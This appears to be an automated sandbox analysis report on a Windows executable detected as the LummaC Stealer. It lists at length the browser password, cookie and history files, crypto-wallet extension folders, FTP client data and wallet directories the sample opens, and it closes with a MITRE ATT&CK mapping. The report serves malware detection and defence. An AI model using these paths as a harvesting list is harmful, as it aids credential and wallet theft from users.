Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: j6ks0Fxu6t.exe, 00000000.00000003.1869969888.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1870132753.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1869838984.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: j6ks0Fxu6t.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: j6ks0Fxu6t.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: j6ks0Fxu6t.exe	String found in binary or memory: %appdata%\Ethereum
Source: j6ks0Fxu6t.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: j6ks0Fxu6t.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1849009282.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1847566781.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: j6ks0Fxu6t.exe PID: 6596, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: j6ks0Fxu6t.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
